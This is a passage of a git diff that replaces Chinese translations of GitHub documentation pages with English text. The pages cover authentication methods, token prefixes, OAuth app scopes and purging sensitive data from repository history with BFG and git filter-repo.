更多信息请参阅“[向 {% data variables.product.prodname_github_apps %} 验证](/apps/building-github-apps/authenticating-with-github-apps/)”。 +- **Personal access tokens** + - In limited situations, such as testing, you can use a personal access token to access the API. Using a personal access token enables you to revoke access at any time. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." +- **Web application flow** + - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)." +- **GitHub Apps** + - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)." -## 使用命令行进行身份验证 +## Authenticating with the command line -您可以通过两种方式从命令行访问 {% data variables.product.product_name %} 上的仓库：HTTPS 和 SSH ，两者采用不同的身份验证。 验证方法取决于克隆仓库时您是选择 HTTPS 还是 SSH 远程 URL。 有关使用哪种访问方式的更多信息，请参阅“[关于远程仓库](/github/getting-started-with-github/about-remote-repositories)”。 +You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." ### HTTPS -即使您在防火墙或代理后面，也可以通过 HTTPS 处理 {% data variables.product.product_name %} 上的所有仓库。 +You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy. -如果您使用 {% data variables.product.prodname_cli %} 进行身份验证，您可以使用个人访问令牌或通过 Web 浏览器进行身份验证。 For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -如果您不使用 {% data variables.product.prodname_cli %} 进行身份验证，则必须使用个人访问令牌进行身份验证。 {% data reusables.user_settings.password-authentication-deprecation %}除非您使用[凭据小助手](/github/getting-started-with-github/caching-your-github-credentials-in-git)缓存了凭据，否则每次使用 Git 向 {% data variables.product.product_name %} 验证时，系统都会提示您输入凭据以向 {% data variables.product.product_name %} 验证。 +If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a personal access token. {% data reusables.user_settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your credentials to authenticate with {% data variables.product.product_name %}, unless you cache them a [credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git). ### SSH -您可以通过 SSH 处理 {% data variables.product.product_name %} 上的所有仓库，尽管防火墙和代理可能拒绝允许 SSH 连接。 +You can work with all repositories on {% data variables.product.product_name %} over SSH, although firewalls and proxys might refuse to allow SSH connections. -如果您使用 {% data variables.product.prodname_cli %} 进行身份验证，CLI 会在您的机器上找到 SSH 公共密钥，并提示您选择一个用于上传。 If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 然后，您可以使用个人访问令牌进行身份验证，也可以通过 Web 浏览器进行身份验证。 For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +If you authenticate with {% data variables.product.prodname_cli %}, the CLI will find SSH public keys on your machine and will prompt you to select one for upload. If {% data variables.product.prodname_cli %} does not find a SSH public key for upload, it can generate a new SSH public/private keypair and upload the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Then, you can either authenticate with a personal access token or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 更多信息请参阅“[生成新的 SSH 密钥并添加到 ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 除非您已[存储密钥](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)，否则每次使用 Git 向 {% data variables.product.product_name %} 验证时，系统都会提示您输入 SSH 密钥密码短语。 +If you authenticate without {% data variables.product.prodname_cli %}, you will need to generate an SSH public/private keypair on your local machine and add the public key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your SSH key passphrase, unless you've [stored the key](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). -### SAML 单点登录授权 +### Authorizing for SAML single sign-on -{% ifversion fpt or ghec %}要使用个人访问令牌或 SSH 密钥访问由使用 SAML 单点登录的组织所拥有的资源，还必须授权个人令牌或 SSH 密钥。 更多信息请参阅“[授权个人访问令牌用于 SAML 单点登录](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)”或“[授权 SSH 密钥用于 SAML 单点登录](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)”。{% endif %} +{% ifversion fpt or ghec %}To use a personal access token or SSH key to access resources owned by an organization that uses SAML single sign-on, you must also authorize the personal token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## {% data variables.product.company_short %} 的令牌格式 +## {% data variables.product.company_short %}'s token formats -以前缀开头的 {% data variables.product.company_short %} 议题令牌表示令牌的类型。 +{% data variables.product.company_short %} issues tokens that begin with a prefix to indicate the token's type. -| 令牌类型 | 前缀 | 更多信息 | -|:------------------------------------------------------------- |:------ |:------------------------------------------------------------------------------------------------------------------------------------------------ | -| 个人访问令牌 | `ghp_` | “[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 | -| OAuth 访问令牌 | `gho_` | "[授权 {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" | -| {% data variables.product.prodname_github_app %} 的用户到服务器令牌 | `ghu_` | "[识别和授权 {% data variables.product.prodname_github_apps %} 的用户](/developers/apps/identifying-and-authorizing-users-for-github-apps)" | -| {% data variables.product.prodname_github_app %} 的服务器到服务器令牌 | `ghs_` | "[向 {% data variables.product.prodname_github_apps %} 验证](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" | -| {% data variables.product.prodname_github_app %} 的刷新令牌 | `ghr_` | "[刷新用户到服务器访问令牌](/developers/apps/refreshing-user-to-server-access-tokens)" | +| Token type | Prefix | More information | +| :- | :- | :- | +| Personal access token | `ghp_` | "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" | +| OAuth access token | `gho_` | "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/authorizing-oauth-apps)" | +| User-to-server token for a {% data variables.product.prodname_github_app %} | `ghu_` | "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/identifying-and-authorizing-users-for-github-apps)" | +| Server-to-server token for a {% data variables.product.prodname_github_app %} | `ghs_` | "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/authenticating-with-github-apps#authenticating-as-an-installation)" | +| Refresh token for a {% data variables.product.prodname_github_app %} | `ghr_` | "[Refreshing user-to-server access tokens](/developers/apps/refreshing-user-to-server-access-tokens)" | {% endif %} diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md index 7ce609cbd6..496a5c8683 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md @@ -1,6 +1,6 @@ --- -title: 授权 OAuth 应用程序 -intro: '您可以将 {% data variables.product.product_name %} 身份连接到使用 OAuth 的第三方应用程序。 在授权 {% data variables.product.prodname_oauth_app %} 时，应确保您信任应用程序，查阅开发者是谁，并查阅应用程序要访问的信息类型。' +title: Authorizing OAuth Apps +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing an {% data variables.product.prodname_oauth_app %}, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/authorizing-oauth-apps - /github/authenticating-to-github/authorizing-oauth-apps @@ -14,88 +14,87 @@ topics: - Identity - Access management --- - When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested. {% ifversion fpt or ghec %} {% tip %} -**提示：**您必须[验证电子邮件地址](/articles/verifying-your-email-address)，然后才可授权 {% data variables.product.prodname_oauth_app %}。 +**Tip:** You must [verify your email address](/articles/verifying-your-email-address) before you can authorize an {% data variables.product.prodname_oauth_app %}. {% endtip %} {% endif %} -## {% data variables.product.prodname_oauth_app %} 访问 +## {% data variables.product.prodname_oauth_app %} access -{% data variables.product.prodname_oauth_apps %} 可以*读取*或*写入*您的 {% data variables.product.product_name %} 数据。 +{% data variables.product.prodname_oauth_apps %} can have *read* or *write* access to your {% data variables.product.product_name %} data. -- **读取权限**仅允许应用程序*查看*您的数据。 -- **写入权限**允许应用程序*更改*您的数据。 +- **Read access** only allows an app to *look at* your data. +- **Write access** allows an app to *change* your data. {% tip %} -**提示：**{% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -### 关于 OAuth 范围 +### About OAuth scopes -*范围*是 {% data variables.product.prodname_oauth_app %} 可以申请访问公共及非公共数据的权限组。 +*Scopes* are named groups of permissions that an {% data variables.product.prodname_oauth_app %} can request to access both public and non-public data. -当您想使用集成了 {% data variables.product.product_name %} 的 {% data variables.product.prodname_oauth_app %} 时，该应用程序可让您了解需要的数据访问权限类型。 如果您授予应用程序访问权限，则应用程序将能代您执行操作，例如读取或修改数据。 例如，如果您要使用申请 `user:email` 范围的应用程序，则该应用程序对您的私有电子邮件地址具有只读权限。 更多信息请参阅“[关于 {% data variables.product.prodname_oauth_apps %} 的范围](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)”。 +When you want to use an {% data variables.product.prodname_oauth_app %} that integrates with {% data variables.product.product_name %}, that app lets you know what type of access to your data will be required. If you grant access to the app, then the app will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**注：**目前，您无法将源代码访问范围设为只读。 +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} {% data reusables.apps.oauth-token-limit %} -### 申请的数据类型 +### Types of requested data -{% data variables.product.prodname_oauth_apps %} 可以申请多种类型的数据。 +{% data variables.product.prodname_oauth_apps %} can request several types of data. -| 数据类型 | 描述 | -| ------ | ----------------------------------------------------------------------------------------------- | -| 提交状态 | 您可以授权应用程序报告您的提交状态。 提交状态访问权限允许应用程序确定对特定提交的构建是否成功。 应用程序无法访问您的代码，但可以读取和写入特定提交的状态信息。 | -| 部署 | 部署状态访问权限允许应用程序根据公共和私有仓库的特定提交确定部署是否成功。 应用程序无法访问您的代码。 | -| Gist | [Gist](https://gist.github.com) 访问权限允许应用程序读取或写入公共和机密 Gist。 | -| 挂钩 | [Web 挂钩](/webhooks)访问权限允许应用程序读取或写入您管理的仓库中的挂钩配置。 | -| 通知 | 通知访问权限允许应用程序读取您的 {% data variables.product.product_name %} 通知，如议题和拉取请求的评论。 但应用程序仍然无法访问仓库中的任何内容。 | -| 组织和团队 | 组织和团队访问权限允许应用程序访问并管理组织和团队成员资格。 | -| 个人用户数据 | 用户数据包括您的用户个人资料中的信息，例如您的姓名、电子邮件地址和地点。 | -| 仓库 | 仓库信息包括贡献者的姓名、您创建的分支以及仓库中的实际文件。 应用程序可以申请访问用户级别的公共或私有仓库。 | -| 仓库删除 | 应用程序可以申请删除您管理的仓库，但无法访问您的代码。 | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for an app to report your commit status. Commit status access allows apps to determine if a build is a successful against a specific commit. Apps won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows apps to determine if a deployment is successful against a specific commit for public and private repositories. Apps won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows apps to read or write to both your public and secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows apps to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows apps to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, apps remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Apps can request access for either public or private repositories on a user-wide level. | +| Repository delete | Apps can request to delete repositories that you administer, but they won't have access to your code. | -## 申请更新的权限 +## Requesting updated permissions -当 {% data variables.product.prodname_oauth_apps %} 申请新的访问权限时，将会通知其当前权限与新权限之间的差异。 +When {% data variables.product.prodname_oauth_apps %} request new access permissions, they will notify you of the differences between their current permissions and the new permissions. {% ifversion fpt or ghec %} -## {% data variables.product.prodname_oauth_apps %} 和组织 +## {% data variables.product.prodname_oauth_apps %} and organizations -当您授权 {% data variables.product.prodname_oauth_app %} 访问您的个人用户帐户时，您还会看到该授权对您所在的每个组织的影响。 +When you authorize an {% data variables.product.prodname_oauth_app %} for your personal user account, you'll also see how the authorization will affect each organization you're a member of. -- **对于*具有* {% data variables.product.prodname_oauth_app %} 访问限制的组织，您可以申请组织管理员批准应用程序用于该组织。** 如果组织不批准应用程序，则应用程序只能访问组织的公共资源。 如果您是组织管理员，便可自己[批准应用程序](/articles/approving-oauth-apps-for-your-organization)。 +- **For organizations *with* {% data variables.product.prodname_oauth_app %} access restrictions, you can request that organization admins approve the application for use in that organization.** If the organization does not approve the application, then the application will only be able to access the organization's public resources. If you're an organization admin, you can [approve the application](/articles/approving-oauth-apps-for-your-organization) yourself. -- **对于*没有* {% data variables.product.prodname_oauth_app %} 访问限制的组织，应用程序将自动获得访问组织资源的授权。** 因此，在批准 {% data variables.product.prodname_oauth_apps %} 访问您的个人帐户资源以及任何组织资源时应谨慎。 +- **For organizations *without* {% data variables.product.prodname_oauth_app %} access restrictions, the application will automatically be authorized for access to that organization's resources.** For this reason, you should be careful about which {% data variables.product.prodname_oauth_apps %} you approve for access to your personal account resources as well as any organization resources. -如果您属于任何实施 SAML 单点登录的组织，则在每次授权 {% data variables.product.prodname_oauth_app %} 时每个组织都必须有一个活动的 SAML 会话。 +If you belong to any organizations that enforce SAML single sign-on, you must have an active SAML session for each organization each time you authorize an {% data variables.product.prodname_oauth_app %}. {% note %} -**注意：** 如果在向执行 SAML 单点登录的组织验证明时遇到错误，您可能需要将 OAuth 应用程序从[帐户设置页](https://github.com/settings/applications) 撤销并重复认证流程以重新授权应用程序。 +**Note:** If you are encountering errors authenticating to an organization that enforces SAML single sign-on, you may need to revoke the OAuth App from your [account settings page](https://github.com/settings/applications) and repeat the authentication flow to reauthorize the app. {% endnote %} -## 延伸阅读 +## Further reading -- "[关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions)" -- "[授权 GitHub 应用程序](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)" +- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)" +- "[Authorizing GitHub Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)" - "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" {% endif %} diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md index 04c34456c8..e70e25bdd2 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md @@ -1,6 +1,6 @@ --- -title: 连接第三方应用程序 -intro: '您可以将 {% data variables.product.product_name %} 身份连接到使用 OAuth 的第三方应用程序。 在授权这些应用程序时，应确保您信任应用程序，查阅开发者是谁，并查阅应用程序要访问的信息类型。' +title: Connecting with third-party applications +intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.' redirect_from: - /articles/connecting-with-third-party-applications - /github/authenticating-to-github/connecting-with-third-party-applications @@ -13,66 +13,65 @@ versions: topics: - Identity - Access management -shortTitle: 第三方应用程序 +shortTitle: Third-party applications --- +When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested. -当第三方应用程序要通过您的 {% data variables.product.product_name %} 登录识别您时，您会看到一个页面，其中包含开发者联系信息，以及申请的特定数据列表。 +## Contacting the application developer -## 联系应用程序开发者 +Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application. -由于应用程序是由不是 {% data variables.product.product_name %} 的第三方开发的，因此我们并不确切地了解应用程序如何使用它申请访问的数据。 如果您对这些应用程序有疑问或疑虑，您可以使用页面顶部的开发者信息联系应用程序管理员。 +![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png) -![{% data variables.product.prodname_oauth_app %} 所有者信息](/assets/images/help/platform/oauth_owner_bar.png) +If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website. -页面的右侧可能提供应用程序的详细说明及其相关网站，具体取决于开发者是否选择提供这些信息。 +![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png) -![OAuth 应用程序信息和网站](/assets/images/help/platform/oauth_app_info.png) +## Types of application access and data -## 应用程序数据访问权限的类型 +Applications can have *read* or *write* access to your {% data variables.product.product_name %} data. -应用程序可能对您的 {% data variables.product.product_name %} 数据具有*读取*或*写入*权限。 +- **Read access** only allows an application to *look at* your data. +- **Write access** allows an application to *change* your data. -- **读取权限**仅允许应用程序*查看*您的数据。 -- **写入权限**允许应用程序*更改*您的数据。 +### About OAuth scopes -### 关于 OAuth 范围 +*Scopes* are named groups of permissions that an application can request to access both public and non-public data. -*范围*是应用程序可以申请访问公共及非公共数据的权限组。 - -要使用集成了 {% data variables.product.product_name %} 的第三方应用程序时，该应用程序会让您了解需要的数据访问权限类型。 如果您授予应用程序访问权限，则应用程序将能代您执行操作，例如读取或修改数据。 例如，如果您要使用申请 `user:email` 范围的应用程序，则该应用程序对您的私有电子邮件地址具有只读权限。 更多信息请参阅“[关于 {% data variables.product.prodname_oauth_apps %} 的范围](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)”。 +When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)." {% tip %} -**注：**目前，您无法将源代码访问范围设为只读。 +**Note:** Currently, you can't scope source code access to read-only. {% endtip %} -### 申请的数据类型 +### Types of requested data -以下是应用程序可能申请的几种数据类型。 +There are several types of data that applications can request. -![OAuth 访问权限详细信息](/assets/images/help/platform/oauth_access_types.png) +![OAuth access details](/assets/images/help/platform/oauth_access_types.png) {% tip %} -**提示：**{% data reusables.user_settings.review_oauth_tokens_tip %} +**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %} {% endtip %} -| 数据类型 | 描述 | -| ------ | ---------------------------------------------------------------------------------------------------------- | -| 提交状态 | 您可以授权第三方应用程序报告您的提交状态。 提交状态访问权限允许应用程序确定对特定提交的构建是否成功。 应用程序无法访问您的代码，但能够读取和写入特定提交的状态信息。 | -| 部署 | 部署状态访问权限允许应用程序根据仓库的特定提交确定部署是否成功。 应用程序无法访问您的代码。 | -| Gist | [Gist](https://gist.github.com) 访问权限允许应用程序读取或写入{% ifversion not ghae %}公共和{% else %}内部和{% endif %}机密 Gist。 | -| 挂钩 | [Web 挂钩](/webhooks)访问权限允许应用程序读取或写入您管理的仓库中的挂钩配置。 | -| 通知 | 通知访问权限允许应用程序读取您的 {% data variables.product.product_name %} 通知，如议题和拉取请求的评论。 但应用程序仍然无法访问仓库中的任何内容。 | -| 组织和团队 | 组织和团队访问权限允许应用程序访问并管理组织和团队成员资格。 | -| 个人用户数据 | 用户数据包括您的用户个人资料中的信息，例如您的姓名、电子邮件地址和地点。 | -| 仓库 | 仓库信息包括贡献者的姓名、您创建的分支以及仓库中的实际文件。 应用程序可以请求在用户级访问{% ifversion not ghae %}公共{% else %}内部{% endif %}或私有仓库。 | -| 仓库删除 | 应用程序可以申请删除您管理的仓库，但无法访问您的代码。 | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | +| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | -## 申请更新的权限 +## Requesting updated permissions -应用程序可以申请新的访问权限。 要求更新权限时，应用程序会通知您更新前后的差异。 +Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences. -![更改第三方应用程序访问权限](/assets/images/help/platform/oauth_existing_access_pane.png) +![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png) diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md index 6c2ed2c18f..9056bc0961 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md @@ -1,6 +1,6 @@ --- -title: 从仓库中删除敏感数据 -intro: 如果将敏感数据（例如密码或 SSH 密钥）提交到 Git 仓库，您可以将其从历史记录中删除。 要从仓库的历史记录中彻底删除不需要的文件，您可以使用 `git filter-repo` 工具或 BFG Repo-Cleaner 开源工具。 +title: Removing sensitive data from a repository +intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.' redirect_from: - /remove-sensitive-data/ - /removing-sensitive-data/ @@ -16,66 +16,65 @@ versions: topics: - Identity - Access management -shortTitle: 删除敏感数据 +shortTitle: Remove sensitive data --- +The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository. -`git filter-repo` 工具和 BFG Repo-Cleaner 可重写仓库的历史记录，从而更改您所更改的现有提交以及任何依赖提交的 SHA。 更改的提交 SHA 可能会影响仓库中的打开拉取请求。 我们建议在从仓库中删除文件之前合并或关闭所有打开的拉取请求。 - -您可以使用 `git rm` 从最新提交中删除该文件。 有关删除使用最新提交添加的文件的信息，请参阅“[关于 {% data variables.product.prodname_dotcom %} 上的大文件](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)”。 +You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." {% warning %} -This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. 但需要注意的是，这些提交在您仓库的任何克隆或复刻中、直接通过 {% data variables.product.product_name %} 上缓存视图中其 SHA-1 哈希以及通过引用它们的任何拉取请求可能仍然可访问。 您无法从仓库的其他用户的克隆或复刻删除敏感数据，但您可以通过联系 {% data variables.contact.contact_support %}，永久删除 {% data variables.product.product_name %} 上拉取请求中敏感数据的缓存视图和引用。 +This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. -**警告：将提交推送到 {% data variables.product.product_name %} 后，应考虑提交中受到影响的任何敏感。**如果您提交了密码，请更改密码！ 如果您提交了密钥，请生成新密钥。 删除泄露的数据并不能解决其初始暴露问题，尤其是在仓库的现有克隆或复刻中。 在重写仓库历史记录的决定中考虑这些限制。 +**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history. {% endwarning %} -## 从仓库的历史记录中清除文件 +## Purging a file from your repository's history -您可以使用 `git filter-repo` 工具或 BFG Repo-Cleaner 开源工具从仓库历史记录中清除文件。 +You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. -### 使用 BFG +### Using the BFG -[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) 是一种由开源社区构建和维护的工具。 它提供一种更快、更简单的 `git filter-branch` 替代方法，用于删除不需要的数据。 +The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. -例如，要删除包含敏感数据的文件并保持最新提交不变，请运行： +For example, to remove your file with sensitive data and leave your latest commit untouched, run: ```shell $ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA ``` -要替换在仓库历史记录中找到的、`passwords.txt` 中列出的所有文本，请运行： +To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run: ```shell $ bfg --replace-text passwords.txt ``` -删除敏感数据后，必须强制将更改推送到 {% data variables.product.product_name %}。 +After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on. ```shell $ git push --force ``` -有关完整的使用和下载说明，请参阅 [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) 的文档。 +See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions. -### 使用 git filter-repo +### Using git filter-repo {% warning %} -**警告：**如果您在储藏更改后运行 `git filter-repo`，则无法使用其他 stash 命令检索您的更改。 运行 `git filter-repo` 之前，我们建议取消储藏您进行的任何更改。 要取消储藏您已储藏的上一组更改，请运行 `git stash show -p | git apply -R`。 更多信息请参阅 [Git 工具 - 隐藏和清理](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning)。 +**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). {% endwarning %} -为说明 `git filter-repo` 的工作方式，我们将向您展示如何从仓库的历史记录中删除含有敏感数据的文件，然后将其添加到 `.gitignore` 以确保不会意外重新提交。 +To illustrate how `git filter-repo` works, we'll show you how to remove your file with sensitive data from the history of your repository and add it to `.gitignore` to ensure that it is not 